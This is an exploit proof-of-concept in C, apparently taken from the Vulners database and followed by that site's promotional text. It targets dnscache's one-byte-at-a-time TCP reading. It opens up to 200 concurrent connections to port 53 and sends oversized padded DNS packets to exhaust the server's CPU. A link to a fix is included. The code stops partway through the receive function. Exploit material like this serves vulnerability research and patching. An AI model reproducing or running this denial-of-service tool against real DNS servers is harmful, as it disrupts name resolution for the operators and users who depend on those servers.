/*
* dnscache reads incoming TCP connections one byte at a time
* (see t_rw() function in dnscache.c), so that a single TCP packet can
* trigger up to 65538 calls to poll() and 65538 calls to read(), thus
* quickly burning a lot of CPU cycles.
*
* fix: http://download.pureftpd.org/misc/dnscache-dont-read-tcp-one-byte-at-a-time.diff
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <assert.h>
#include <errno.h>
#include <netdb.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define DEFAULT_CONCURRENT_CONNECTIONS 200U
#define DELAY_BETWEEN_CONNECTIONS 100
#define TIMEOUT 10
#define REMOTE_PORT "53"
typedef enum State_ {
STATE_FREE, STATE_CONNECTING, STATE_CONNECTED, STATE_SENDING,
STATE_RECEIVING
} State;
typedef struct Connection_ {
char reply_buf[65536U + 2U];
const struct addrinfo *ai;
struct pollfd *poll_fd;
size_t pos;
int fd;
State state;
} Connection;
/* Just a google.com request */
static const unsigned char dummy_packet[65535U + 2U] = {
0xff, 0xff,
0x5c, 0x9e, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x03, 0x63, 0x6f, 0x6d, 0x00,
0x00, 0x01, 0x00, 0x01
};
static int connection_send(Connection * const connection);
static volatile sig_atomic_t quit_pending;
static int
bump_and_show_connections_count(void)
{
static unsigned int connections_count;
static time_t ts_last;
time_t ts_now;
connections_count++;
time(&ts_now);
if (ts_last != ts_now) {
printf("\rNumber of requests made so far: %u", connections_count);
fflush(stdout);
ts_last = ts_now;
}
return 0;
}
static struct addrinfo *
resolve(const char * const host, const char * const port)
{
struct addrinfo *ai, hints;
int gai_err;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_flags = 0;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
gai_err = getaddrinfo(host, port, &hints, &ai);
if (gai_err != 0) {
fprintf(stderr, "[%s]: %s\n", host, gai_strerror(gai_err));
ai = NULL;
}
return ai;
}
static int
connection_close(Connection * const connection)
{
int close_ret;
while ((close_ret = close(connection->fd)) != 0 && errno == EINTR);
assert(close_ret == 0);
connection->state = STATE_FREE;
connection->poll_fd->events = 0;
return 0;
}
static int
connection_connect(Connection * const connection)
{
struct timeval tv = { .tv_sec = TIMEOUT, .tv_usec = 0 };
const struct addrinfo *ai = connection->ai;
int connect_ret;
int fd;
bump_and_show_connections_count();
fd = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol);
assert(fd != -1);
assert(ioctl(fd, FIONBIO, (int []) { 1 }) == 0);
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof tv);
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof tv);
connection->state = STATE_FREE;
connection->fd = fd;
connection->pos = (size_t) 0U;
*connection->poll_fd = (struct pollfd) {
.fd = fd,
.events = POLLOUT,
.revents = 0
};
do {
connect_ret =
connect(fd, (const struct sockaddr *) connection->ai->ai_addr,
connection->ai->ai_addrlen);
} while (connect_ret != 0 && errno == EINTR);
if (connect_ret == 0) {
connection->state = STATE_CONNECTED;
connection_send(connection);
return 0;
}
if (errno == ECONNRESET) {
return -1;
}
assert(errno == EINPROGRESS);
connection->state = STATE_CONNECTING;
return 0;
}
static int
connection_rearm(Connection * const connection)
{
return !(connection_close(connection) == 0 &&
connection_connect(connection) == 0);
}
static int
connection_send(Connection * const connection)
{
ssize_t written;
assert((connection->poll_fd->events & POLLOUT) != 0);
do {
written = write(connection->fd, dummy_packet,
sizeof dummy_packet - connection->pos);
if (written == (ssize_t) -1) {
switch (errno) {
case EAGAIN:
connection->state = STATE_SENDING;
return -1;
case EBADF:
case ECONNRESET:
#ifdef ENOTCONN
case ENOTCONN:
#endif
connection_rearm(connection);
return -1;
case EINTR:
continue;
default:
assert(0);
}
}
connection->pos += (size_t) written;
} while (connection->pos < sizeof dummy_packet);
connection->poll_fd->events = POLLIN;
connection->poll_fd->revents = 0;
connection->state = STATE_RECEIVING;
return 0;
}
static int
connection_receive(Connection * const connection)
{
ssize_t readnb;
for(;;) {
readnb = read(connection->fd, connection->reply_buf,
sizeof connection->reply_buf);
if (readnb == (ssize_t) -1) {
switch (errno) {
case EBADF:
case ECONNRESET:
#ifdef ENOTCONN
case ENOTCONN:
#endif
connection_rearm(connection);
case EINTR:
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation